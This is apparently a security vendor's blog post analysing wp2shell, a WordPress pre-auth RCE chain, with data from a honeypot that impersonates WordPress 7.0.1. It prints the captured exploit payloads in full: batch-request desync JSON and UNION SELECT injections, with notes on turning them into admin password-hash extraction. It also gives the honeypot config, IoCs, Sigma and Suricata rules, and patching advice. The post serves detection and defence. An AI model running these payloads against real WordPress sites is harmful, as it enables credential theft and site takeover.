The AI Vulnerability Storm is here. Are your defenses ready? Read the White Paper
  • Honeypot
  • Catching in the Wild
  • Threat Intelligence
  • CVE-2026-63030
  • CVE-2026-60137

Catching wp2shell in the Wild: WordPress Pre-Auth RCE, Two Days After the Patch

We deployed a Beelzebub honeypot impersonating a vulnerable WordPress 7.0.1 instance and captured live wp2shell exploitation attempts, including UNION-based SQL injection payloads nested inside batch REST requests, less than 48 hours after the patch was released.

Mario Candela

Mario Candela

Founder and maintainer

Catching wp2shell in the Wild: WordPress Pre-Auth RCE, Two Days After the Patch

TL;DR

  • wp2shell is the chain of CVE-2026-63030 (REST API batch-route confusion, CVSS 9.8) and CVE-2026-60137 (SQL injection in WP_Query::author__not_in), enabling unauthenticated remote code execution on a default WordPress install with no plugins.
  • Patches landed on July 17, 2026 (6.8.6 / 6.9.5 / 7.0.2). Full technical details were published on July 20.
  • Our Beelzebub honeypot, impersonating a WordPress 7.0.1 site, captured the first weaponized exploitation attempt on July 19, 2026 at 08:38 UTC, before the public technical breakdown and roughly 48 hours after the patch.
  • The payloads are nested batch requests (a batch inside a batch) carrying UNION ALL SELECT injections through the author_exclude REST parameter, with hex-encoded canary markers used to confirm exploitation.
  • One actor did not even bother to hide: User-Agent: wp2shell/1.0.
  • Full Beelzebub configuration, decoded payloads, IoCs and detection rules are included below.

Background

On July 17, 2026, the WordPress security team shipped emergency releases 6.8.6, 6.9.5 and 7.0.2. Behind those releases sat two vulnerabilities that, chained together, gave an anonymous attacker code execution on a stock WordPress installation: no plugins, no themes, no authentication, no user interaction.

The chain was quickly nicknamed wp2shell. CERT-AgID issued an advisory urging immediate patching of Italian public-sector installations, and by July 20 multiple proof-of-concept exploits were circulating publicly.

WordPress powers a huge share of the web, and the vulnerable code path is in core, not in some abandoned plugin. That combination of enormous install base, default-configuration exploitability, and a public PoC is exactly the profile that produces internet-wide spray campaigns within hours.

We wanted to see what that spray actually looks like on the wire. So we pointed a Beelzebub honeypot at the problem, dressed it up as a freshly-installed, unpatched WordPress 7.0.1 blog, and waited.

We did not wait long.


The Vulnerability: wp2shell

The two halves of the chain

CVEComponentCVSSCredit
CVE-2026-63030REST API batch route confusion9.8Adam Kues (Searchlight Cyber)
CVE-2026-60137SQL injection via author__not_in5.9TF1T, dtro, haongo

Individually, neither is a clean kill. CVE-2026-60137 is a blind SQL injection: nothing comes back in the response body. CVE-2026-63030 is a routing bug that, on its own, mostly gets you access to endpoints you should not reach. Chained, they become a pre-authentication RCE.

Half one: batch route confusion (CVE-2026-63030)

WordPress 6.9 introduced the batch REST endpoint, /wp-json/batch/v1, which lets a client bundle multiple REST calls into a single HTTP request. The handler, WP_REST_Server::serve_batch_request_v1(), walks the submitted requests array and builds parallel arrays indexed by position: one for the parsed request objects, one for the validation/permission results.

The bug is a desynchronization of those parallel arrays. Submit a crafted entry, for example a malformed path that fails parsing early and is silently dropped from one array but not the other, and the indices drift apart. The result is that the permission check computed for request N gets applied to request N+1.

Feed it the right shape, and a request that should have been rejected with rest_forbidden is dispatched with the permission verdict belonging to a harmless neighbour.

In the payloads we captured, that desync is triggered with entries like:

{"method": "POST", "path": "http://:"}
{"method": "POST", "path": "///"}

A scheme-only URL (http://:) and a triple-slash path. Neither is a valid REST route. Both are there purely to knock the index alignment off by one.

Half two: SQL injection inWP_Query(CVE-2026-60137)

WP_Query accepts an author__not_in argument, which the REST layer exposes as the author_exclude query parameter. The sanitization logic assumed the value would always arrive as an array. The type check that guards the sanitization path is skipped when the value is a string, and the raw value is interpolated straight into the generated SQL.

So this:

GET /wp-json/wp/v2/posts?author_exclude[]=1     ← array, sanitized
GET /wp-json/wp/v2/posts?author_exclude=1)+AND+…  ← string, injected

The 1) closes the generated WHERE post_author NOT IN (…) clause, and everything after it is attacker-controlled SQL.

Putting it together

  1. POST a batch request to /wp-json/batch/v1 (or /?rest_route=/batch/v1).
  2. Include malformed entries to desync the parallel arrays and bypass the permission check (CVE-2026-63030).
  3. Inside the batch, call a wp/v2 collection endpoint with a string author_exclude carrying SQL (CVE-2026-60137).
  4. Extract the administrator password hash. In the weaponized variants, use UNION SELECT to hydrate a forged post/user object directly from the injected result set.
  5. Forge an administrator session, upload a plugin, and you have a shell.

Affected and patched versions

BranchVulnerableFixedImpact
6.8.x6.8.0 to 6.8.56.8.6SQL injection component only
6.9.x6.9.0 to 6.9.46.9.5Full pre-auth RCE chain
7.0.x7.0.0 to 7.0.17.0.2Full pre-auth RCE chain

The Honeypot Setup

To observe exploitation in the wild we needed a target that looks exactly like an unpatched WordPress 7.0.1, down to the response headers, the X-WP-Total counters, and the shape of the /wp-json/ discovery document. Attack tooling fingerprints hard before it fires, and a sloppy impersonation gets skipped.

Beelzebub’s HTTP protocol lets you define regex-matched routes with full control over body, headers and status code, which is all we needed.

PortServiceImpersonated version
80/TCPHTTPWordPress 7.0.1 on Apache 2.4.58 / PHP 8.2.20

Design notes

A few decisions mattered more than the rest:

  • The discovery document is the hook. Almost every scanner starts at /wp-json/ or /?rest_route=/. Our response advertises the batch/v1 namespace and lists /batch/v1 as a POST route, which is what tells the tooling the target is worth attacking.
  • readme.html must agree. WordPress ships a readme.html that states the version in plain text. Scanners cross-check it against the <meta name="generator"> tag. A mismatch is a tell.
  • Headers are part of the fingerprint. X-Robots-Tag: noindex, X-Content-Type-Options: nosniff, Allow: and the Link: </wp-json/>; rel="https://api.w.org/" header are all emitted by real WordPress REST responses.
  • The batch endpoint answers 200, not 401. If the honeypot rejects the batch request, the attacker stops. By returning a well-formed, empty batch response we keep them talking, and we capture the entire payload, including the nested second stage.
  • Both routing styles are covered. WordPress serves the REST API at /wp-json/… with pretty permalinks and at /?rest_route=/… without them. Real-world tooling tries both, so both are matched.

Beelzebub configuration

apiVersion: "v1"
protocol: "http"
address: ":80"
description: "WordPress 7.0.1 - Honeypot CVE-2026-63030 (REST batch route confusion + author__not_in SQLi)"

commands:

  - regex: "^/$"
    handler: |
      <!DOCTYPE html>
      <html lang="en-US">
      <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="generator" content="WordPress 7.0.1">
        <link rel="https://api.w.org/" href="/wp-json/">
        <title>Corporate Blog &#8211; Just another WordPress site</title>
      </head>
      <body class="home blog wp-theme-twentytwentyfive">
        <header><h1>Corporate Blog</h1></header>
        <main><article><h2>Hello world!</h2><p>Welcome to WordPress.</p></article></main>
      </body>
      </html>
    headers:
      - "Content-Type: text/html; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
      - "Link: </wp-json/>; rel=\"https://api.w.org/\""
    statusCode: 200

  - regex: "^/readme.html.*$"
    handler: |
      <!DOCTYPE html>
      <html><head><title>WordPress &#8250; ReadMe</title></head>
      <body>
        <h1>WordPress</h1>
        <p>Semantic Personal Publishing Platform</p>
        <h2>Version 7.0.1</h2>
      </body></html>
    headers:
      - "Content-Type: text/html; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
    statusCode: 200

  - regex: "^/wp-json/?$"
    handler: |
      {
        "name": "Corporate Blog",
        "description": "Just another WordPress site",
        "url": "http://blog.example.com",
        "home": "http://blog.example.com",
        "gmt_offset": 0,
        "timezone_string": "",
        "namespaces": ["oembed/1.0", "wp/v2", "wp-site-health/v1", "batch/v1"],
        "authentication": {
          "application-passwords": {
            "endpoints": {
              "authorization": "http://blog.example.com/wp-admin/authorize-application.php"
            }
          }
        },
        "routes": {
          "/": {"namespace": "", "methods": ["GET"]},
          "/batch/v1": {"namespace": "batch/v1", "methods": ["POST"]},
          "/wp/v2/posts": {"namespace": "wp/v2", "methods": ["GET", "POST"]},
          "/wp/v2/users": {"namespace": "wp/v2", "methods": ["GET", "POST"]}
        },
        "_links": {
          "help": [{"href": "https://developer.wordpress.org/rest-api/"}]
        }
      }
    headers:
      - "Content-Type: application/json; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
      - "X-Robots-Tag: noindex"
      - "X-Content-Type-Options: nosniff"
      - "Allow: GET"
    statusCode: 200

  - regex: "^/wp-json/batch/v1.*$"
    handler: |
      {
        "responses": [
          {
            "status": 200,
            "headers": {"Content-Type": "application/json; charset=UTF-8"},
            "body": []
          }
        ],
        "failed": null
      }
    headers:
      - "Content-Type: application/json; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
      - "X-Robots-Tag: noindex"
      - "X-Content-Type-Options: nosniff"
      - "Allow: POST"
    statusCode: 200

  - regex: "^/index.php.*batch/v1.*$"
    handler: |
      {"responses": [{"status": 200, "headers": {}, "body": []}], "failed": null}
    headers:
      - "Content-Type: application/json; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
    statusCode: 200

  - regex: "^/wp-json/wp/v2/posts.*$"
    handler: |
      [
        {
          "id": 1,
          "date": "2026-06-01T09:00:00",
          "slug": "hello-world",
          "status": "publish",
          "type": "post",
          "title": {"rendered": "Hello world!"},
          "content": {"rendered": "<p>Welcome to WordPress.</p>", "protected": false},
          "author": 1,
          "_links": {"self": [{"href": "http://blog.example.com/wp-json/wp/v2/posts/1"}]}
        }
      ]
    headers:
      - "Content-Type: application/json; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
      - "X-WP-Total: 1"
      - "X-WP-TotalPages: 1"
      - "X-Robots-Tag: noindex"
      - "Allow: GET, POST"
    statusCode: 200

  - regex: "^/wp-json/wp/v2/users.*$"
    handler: |
      [
        {
          "id": 1,
          "name": "admin",
          "slug": "admin",
          "_links": {"self": [{"href": "http://blog.example.com/wp-json/wp/v2/users/1"}]}
        }
      ]
    headers:
      - "Content-Type: application/json; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
      - "X-WP-Total: 1"
      - "X-WP-TotalPages: 1"
    statusCode: 200

  - regex: "^/wp-login.php.*$"
    handler: |
      <!DOCTYPE html>
      <html><head><title>Log In &#8250; Corporate Blog</title></head>
      <body class="login">
        <form name="loginform" id="loginform" action="/wp-login.php" method="post">
          <p><label>Username or Email Address<br>
            <input type="text" name="log" class="input"></label></p>
          <p><label>Password<br>
            <input type="password" name="pwd" class="input"></label></p>
          <p class="submit"><input type="submit" name="wp-submit" value="Log In"></p>
        </form>
      </body></html>
    headers:
      - "Content-Type: text/html; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
    statusCode: 200

  - regex: "^.*$"
    handler: |
      <!DOCTYPE html>
      <html lang="en-US">
      <head><meta charset="UTF-8"><title>Page not found &#8211; Corporate Blog</title></head>
      <body class="error404"><h1>Oops! That page can&#8217;t be found.</h1></body>
      </html>
    headers:
      - "Content-Type: text/html; charset=UTF-8"
      - "Server: Apache/2.4.58 (Ubuntu)"
      - "X-Powered-By: PHP/8.2.20"
    statusCode: 404

Exploitation Attempts Captured

Timeline

Jul 17, 2026  → WordPress 6.8.6 / 6.9.5 / 7.0.2 released. Advisory published,
                technical details deliberately withheld.

Jul 17, 2026  → First reconnaissance hits on the honeypot:
                GET /wp-json/batch/v1 from 62.113.210[.]14 (23M Cloud, DE),
                within hours of the advisory.

Jul 19, 2026  → 08:38:59 UTC, first fully weaponized exploitation attempt.
                UNION-based SQLi nested inside a batch request.

Jul 20, 2026  → Searchlight Cyber publishes the full technical breakdown.
                Public PoCs proliferate.

Jul 20-22     → Sustained, multi-source scanning and exploitation.

The gap that matters is between line 2 and line 4. Someone had a working exploit chain a full day before the public technical write-up, and was already spraying it at random internet hosts. Either they reverse-engineered the patch diff, entirely feasible for a bug of this shape, or the exploit was circulating privately.

Phase 1: Discovery

Almost every session opened the same way, probing both REST routing styles to determine whether pretty permalinks were enabled:

31.58.244.30     GET  /?rest_route=/
31.58.244.30     GET  /wp-json/
31.58.244.30     GET  /?rest_route=/
178.83.123.99    GET  /?rest_route=/
15.204.64.31     GET  /wp-json/
15.204.64.31     GET  /?rest_route=/
204.77.130.140   GET  /wp-json/
204.77.130.140   GET  /?rest_route=/

What the tooling is looking for in the response is a single string: batch/v1 in the namespaces array. Our honeypot advertises it, so the scanners escalate.

A separate probe from 91.92.47.229 went for classic author enumeration:

91.92.47.229     GET  /wp-json/wp/v2/users

This is not part of wp2shell; it is the pre-existing WordPress user-enumeration behaviour. It is still a useful reminder that the same hosts running the new exploit are also sweeping for the old ones.

Phase 2: Weaponized exploitation

The first real payload arrived on July 19 at 08:38:59 UTC from 205.185.126.29, with a User-Agent that leaves nothing to the imagination:

{
  "DateTime": "2026-07-19T08:38:59.758912867Z",
  "RemoteAddr": "205.185.126.29:39216",
  "Protocol": "HTTP",
  "Command": "POST /?rest_route=/batch/v1",
  "UserAgent": "wp2shell/1.0",
  "HeadersMap": {
    "Content-Type": ["application/json"],
    "Content-Length": ["841"],
    "Accept-Encoding": ["gzip"],
    "User-Agent": ["wp2shell/1.0"]
  }
}

User-Agent: wp2shell/1.0. No spoofed browser string, no attempt to blend in. This is opportunistic mass scanning where volume matters more than stealth.

The request body is where it gets interesting. It carries a batch nested inside a batch:

{
  "requests": [
    { "method": "POST", "path": "http://:" },
    {
      "body": {
        "requests": [
          { "method": "GET", "path": "http://:" },
          {
            "method": "GET",
            "path": "/wp/v2/widgets?_fields=id,slug,title,content,guid&author_exclude=<SQLi>&context=view&orderby=none&page=-1&per_page=-1"
          }
        ]
      }
    }
  ]
}

Three things to notice:

  1. "path": "http://:" is a scheme-only URL. It is not a valid route; its only job is to fail parsing in a way that desynchronizes the parallel arrays inside serve_batch_request_v1().
  2. The nested body.requests makes the batch handler run recursively, and the inner batch inherits the corrupted permission context from the outer one.
  3. page=-1&per_page=-1 is negative pagination, used to force WP_Query down a code path that reaches the vulnerable LIMIT/WHERE construction.

Note the target: /wp/v2/widgets, not /wp/v2/posts. The widgets endpoint normally requires edit_theme_options, so it is only reachable if the auth bypass worked. Using it as the injection sink turns the request into a combined bypass-and-injection test in a single shot.

Decoding the SQL injection

URL-decoded, the author_exclude value is:

1) AND 1=0 UNION ALL SELECT
  1922721457,
  1,
  0x323032302d30312d30312030303a30303a3030,
  0x323032302d30312d30312030303a30303a3030,
  '', '', '',
  0x7075626c697368,
  0x636c6f736564,
  0x636c6f736564,
  '',
  COALESCE((SELECT 0x633934353034373633393239), ''),
  '', '',
  0x323032302d30312d30312030303a30303a3030,
  0x323032302d30312d30312030303a30303a3030,
  '', 0, '', 0,
  0x706f7374,
  '', 0
-- -

Every hex constant decodes to a value that makes the forged row look like a legitimate wp_posts record:

HexDecodedColumn purpose
0x323032302d30312d30312030303a30303a30302020-01-01 00:00:00post_date, post_modified
0x7075626c697368publishpost_status
0x636c6f736564closedcomment_status, ping_status
0x706f7374postpost_type
0x633934353034373633393239c94504763929canary marker

The mechanics are worth spelling out:

  • AND 1=0 suppresses every genuine row, so the response contains only the attacker’s forged row.
  • The column count and types are matched exactly to wp_posts. This is not a blind probe: whoever wrote it knew the schema and the hydration path.
  • Hex literals instead of quoted strings sidestep quote-based WAF signatures and any magic-quote-style escaping.
  • COALESCE((SELECT 0x633934353034373633393239), '') is the payload slot. In this run it carries the random canary c94504763929; in a real extraction run that subquery becomes SELECT user_pass FROM wp_users WHERE ID=1.
  • -- - comments out the rest of the generated query. The trailing - after the double dash guards against whitespace normalization eating the required space.

Because the forged row is hydrated into a WP_Post object and rendered back through the REST serializer, the canary comes out in the response body. That is the crucial upgrade: it converts CVE-2026-60137 from a slow blind, time-based injection into a fast, direct-output one. Extracting an admin hash goes from thousands of timed requests to a single HTTP call.

A second variant

A different payload, seen from 204.77.130.140, targets /wp/v2/posts/999999, a deliberately non-existent post ID, so the genuine result set is empty by construction rather than by AND 1=0:

0) UNION SELECT
  999999, 2,
  0x323032302d30312d30312030303a30303a3030,
  0x323032302d30312d30312030303a30303a3030,
  5,
  CONCAT(0x7c7c, HEX(CAST((SELECT 0x4f4b) AS CHAR)), 0x7c7c),
  7,
  0x7075626c697368,
  9, 10, 11, 12, 13, 14,
  0x323032302d30312d30312030303a30303a3030,
  0x323032302d30312d30312030303a30303a3030,
  17, 18, 19, 20,
  0x706f7374,
  22, 23
-- -

Here 0x7c7c is || and 0x4f4b is OK, so the marker rendered into post_content is ||4F4B||, the hex of OK fenced between double pipes.

The CONCAT(0x7c7c, HEX(CAST(… AS CHAR)), 0x7c7c) wrapper is the tell of a generic extraction harness, not a hand-written one-off:

  • the ||…|| delimiters let a parser locate the exfiltrated value in an arbitrary HTML/JSON response;
  • HEX(CAST(… AS CHAR)) guarantees the extracted data is binary-safe: no encoding corruption, no characters that break out of JSON, no charset surprises when pulling password hashes or serialized blobs.

Swap (SELECT 0x4f4b) for (SELECT user_pass FROM wp_users LIMIT 1) and the same harness dumps credentials. The OK is just the self-test.

The two payloads use different column counts and different placeholder styles (hex-padded strings vs. bare integers), which points to at least two independent exploit implementations already in circulation on July 19 and 20.

Full chain observed from a single host

204.77.130.140 ran the complete sequence, repeatedly:

204.77.130.140  GET   /wp-json/
204.77.130.140  GET   /?rest_route=/
204.77.130.140  GET   /wp-json/
204.77.130.140  GET   /?rest_route=/
204.77.130.140  POST  /wp-json/batch/v1
                      {"requests": [{"method": "POST", "path": "///"},
                       {"method": "POST", "path": "/wp/v2/posts",
                        "body": {"requests": [{"method": "POST", "path": "///"},
                         {"method": "GET", "path": "/wp/v2/users?author_excl…
204.77.130.140  GET   /wp-json/
204.77.130.140  GET   /?rest_route=/

The re-verification of /wp-json/ after the exploit attempt is characteristic of automated tooling checking whether the target state changed: did a new user appear, did the namespace list shift. It is a crude success oracle bolted onto the scanner loop.

Note also the desync entry here is "path": "///" rather than "http://:", a third variation on the same trick and further evidence of multiple independent implementations.


Threat Actor Infrastructure

Source IPNetwork / OrgASNCountryObserved behaviour
205.185.126[.]29FranTech Solutions (PONYNET)AS53667USFull SQLi payload, UA: wp2shell/1.0
204.77.130[.]140JIULINGn/aUSFull chain, repeated, second SQLi variant
31.58.244[.]30CloudBackbone / CGI GlobalAS56971NL / HKSustained REST discovery
178.83.123[.]99Megahost Kazakhstan TOOAS208450KZREST discovery
15.204.64[.]31OVH US LLCAS16276USREST discovery
91.92.47[.]229TechTies Inc.AS197170NL / SCUser enumeration (/wp/v2/users)
62.113.210[.]1423M CloudAS47447DEEarliest probe of /wp-json/batch/v1

The profile is consistent and unsurprising: bulletproof-adjacent and budget VPS providers, spread across US, NL, DE, KZ and HK jurisdictions. FranTech/PONYNET (BuyVM) and 23M Cloud are long-standing fixtures in abuse datasets. None of this is APT infrastructure; it is rented, disposable capacity being used for internet-wide spray.

There is no residential or Tor traffic in the set. That reinforces the read: this is opportunistic mass exploitation looking for volume, not targeted intrusion.


Indicators of Compromise (IoCs)

Network IoCs

# Source IPs (observed July 17-22, 2026)
205.185.126.29
204.77.130.140
31.58.244.30
178.83.123.99
15.204.64.31
91.92.47.229
62.113.210.14

# ASNs with elevated wp2shell scanning activity
AS53667  (FranTech Solutions / PONYNET)
AS56971  (CloudBackbone)
AS208450 (Megahost Kazakhstan)
AS47447  (23M Cloud)
AS197170 (TechTies Inc.)

# User-Agent
wp2shell/1.0

# Request patterns
POST /wp-json/batch/v1
POST /?rest_route=/batch/v1
POST /index.php?rest_route=/batch/v1

Payload signatures

# Batch array desync markers (path values that are not valid routes)
"path": "http://:"
"path": "///"
"path": "http:///"

# Nested batch (a "requests" key inside a request "body")
"body":{"requests":[

# String-typed author_exclude carrying SQL
author_exclude=1)
author_exclude=0)
author_exclude=%29
author__not_in=

# UNION-based injection markers
UNION+ALL+SELECT
UNION+SELECT
0x7075626c697368          # 'publish'
0x706f7374                # 'post'
0x636c6f736564            # 'closed'
0x7c7c                    # '||' extraction delimiter
HEX(CAST(
COALESCE((SELECT

# Negative pagination forcing the vulnerable query path
page=-1&per_page=-1

Post-compromise host IoCs

# Check for these on any WordPress 6.8.0-7.0.1 install that was internet-facing
- Administrator accounts created after 2026-07-17
- wp_users rows with recent user_registered and role=administrator
- New or modified PHP files under wp-content/uploads/
- Newly installed or activated plugins with no matching admin audit trail
- Modified wp-config.php
- Unexpected entries in wp_options: 'active_plugins', 'cron'

Detection Rule (Sigma)

title: WordPress wp2shell Exploitation Attempt (CVE-2026-63030 / CVE-2026-60137)
id: 7f3c1a92-4d8e-4b21-9c65-1e0a7b4d2f88
status: experimental
description: >
  Detects exploitation attempts of the wp2shell chain, combining REST batch
  route confusion with SQL injection through the author_exclude parameter.
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-63030
  - https://nvd.nist.gov/vuln/detail/CVE-2026-60137
  - https://cert-agid.gov.it/news/wp2shell-vulnerabilita-critiche-nel-core-di-wordpress-necessario-aggiornare-i-sistemi/
logsource:
  category: webserver
detection:
  selection_batch:
    cs-uri-stem|contains:
      - '/wp-json/batch/v1'
      - 'rest_route=/batch/v1'
  selection_sqli:
    cs-uri-query|contains:
      - 'author_exclude=1)'
      - 'author_exclude=0)'
      - 'author_exclude=%29'
      - 'author__not_in='
  selection_union:
    cs-uri-query|contains:
      - 'UNION ALL SELECT'
      - 'UNION SELECT'
      - '0x7075626c697368'
      - '0x706f7374'
  selection_ua:
    cs-user-agent|contains: 'wp2shell'
  condition: selection_ua or selection_batch or (selection_sqli and selection_union)
falsepositives:
  - Legitimate use of the batch REST endpoint by authenticated block-editor sessions
    (these will carry a valid nonce and an authenticated cookie)
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - attack.credential_access
  - attack.t1212
  - cve.2026.63030
  - cve.2026.60137

Suricata Rule

alert http any any -> $HOME_NET any (msg:"wp2shell batch endpoint exploitation attempt (CVE-2026-63030)";
  flow:established,to_server; http.method; content:"POST";
  http.uri; content:"batch/v1"; nocase;
  http.request_body; content:"|22|requests|22|"; content:"|22|body|22|"; distance:0;
  classtype:web-application-attack; sid:2026063030; rev:1;)

alert http any any -> $HOME_NET any (msg:"wp2shell author_exclude SQL injection (CVE-2026-60137)";
  flow:established,to_server;
  http.uri; content:"author_exclude"; nocase;
  pcre:"/author_exclude=[^&\[]*(\)|%29)/i";
  classtype:web-application-attack; sid:2026060137; rev:1;)

alert http any any -> $HOME_NET any (msg:"wp2shell scanner user-agent";
  flow:established,to_server;
  http.user_agent; content:"wp2shell"; nocase;
  classtype:web-application-attack; sid:2026063031; rev:1;)

Note the pcre in the second rule: it deliberately excludes author_exclude[, because the array form is the legitimate one. Only the string form is exploitable, and that distinction is what keeps the rule from drowning in false positives.


Key Findings

1. Weaponization outran disclosure

The advisory withheld technical details on July 17 precisely to buy defenders time. It bought them less than 48 hours. A working, column-matched, schema-aware UNION SELECT chain was hitting our honeypot on July 19, a day before the public write-up.

For a bug of this class the patch diff is the exploit spec. Withholding details slows down the low end of the attacker distribution and does essentially nothing to the top end.

2. Blind became non-blind

The advisory characterises CVE-2026-60137 as a blind SQL injection, and defenders reasonably calibrated their urgency to that: blind extraction is slow, noisy, and easy to rate-limit.

The captured payloads bypass that entirely. By forging a complete wp_posts row and letting WordPress hydrate and serialize it back through the REST API, the attacker gets direct output. Thousands of timed requests collapse into one. Any mitigation that assumed a slow time-based oracle, such as request rate limits or timing anomaly detection, was calibrated against the wrong threat model.

3. Multiple independent implementations, immediately

We observed three different desync markers (http://:, ///, plus routing variants) and two structurally different injection payloads with different column counts. That is not one PoC being copy-pasted; that is several teams building independently in the same 72-hour window.

4. The auth bypass was tested via a privileged endpoint

Injecting into /wp/v2/widgets rather than /wp/v2/posts is a small detail with a large implication. widgets requires edit_theme_options; an unauthenticated request to it should return 401. Using it as the sink means a single request proves both halves of the chain at once. That is exploit-engineering discipline, not spray-and-pray.

5. Honeypot fidelity is what buys the data

Every session in our dataset began with a fingerprinting request. Had the honeypot returned a 401 on /wp-json/batch/v1, or omitted batch/v1 from the namespace list, or shipped a readme.html that disagreed with the generator meta tag, the scanners would have moved on and we would have captured only reconnaissance noise, never the second-stage payloads.

The payload is the whole point. Getting it requires being convincing enough that the attacker commits.


Recommendations

If you run WordPress

  1. Patch now. 6.8.6, 6.9.5 or 7.0.2. There is no partial mitigation that is as good as the patch.
  2. Assume compromise on any internet-facing 6.9.x/7.0.x install that was unpatched after July 17. Public exploitation was underway within two days; “we patched on the 21st” is not a clean bill of health.
  3. Hunt for the aftermath, not just the attempt: administrator accounts created after July 17, new PHP files in wp-content/uploads/, unexplained plugin activations, modified wp-config.php.
  4. Rotate everything if you find anything: all admin passwords, all application passwords, the wp-config.php salts, and any database credentials.

If you cannot patch immediately

  1. Block /wp-json/batch/v1 and ?rest_route=/batch/v1 at the WAF or reverse proxy. Batch is used by the block editor; blocking it degrades the admin experience but does not break the public site.
  2. Reject string-typed author_exclude. Only author_exclude[]= (array form) is legitimate. This is a precise, low-false-positive filter.
  3. Reject nested batches. A requests key inside a request body has no legitimate use.
  4. Require authentication on the REST API for anonymous users where feasible.

If you defend a fleet

  1. Deploy the Sigma and Suricata rules above and backfill them against logs from July 17 onward. If the exploit ran before you were watching, the logs are the only place the evidence still lives.
  2. Deploy honeypots. A Beelzebub instance impersonating a vulnerable version gives you exploitation telemetry from your own perimeter, with zero false positives, because nothing legitimate ever talks to it.
  3. Monitor the ASNs listed above. They are not exclusively malicious, but during an active spray campaign they are a high-signal prioritization input.

Conclusion

wp2shell is the modern vulnerability lifecycle compressed into a week: patch on Friday, weaponized exploitation by Sunday, public PoC by Monday, internet-wide spray by Tuesday. The 48-hour window between “details withheld” and “working exploit in the wild” is the number defenders should internalize.

Two details from the honeypot data deserve to outlive the news cycle.

The first is that a documented “blind” injection turned out not to be blind. The advisory’s characterization was accurate about the vulnerability and wrong about the exploit, because attackers found a hydration path that returns the data directly. Threat models built on advisory language age badly.

The second is that the fidelity of the deception determines the quality of the intelligence. A honeypot that returns 401 on the interesting endpoint collects scanner noise. One that answers 200 with a well-formed empty batch response collects the payload, the extraction harness design, the canary format, and the fingerprint of multiple independent exploit implementations.

Deception is not passive. Done properly, it is the cheapest offensive-intelligence collection available to a defender.


References

Try Our Managed Platform

Security deception runtime framework with zero false positives
Continuous validation via automated AI Red Teaming
Real-time malware analysis via our CTI Hub
Instant threat containment driven by the AI SOC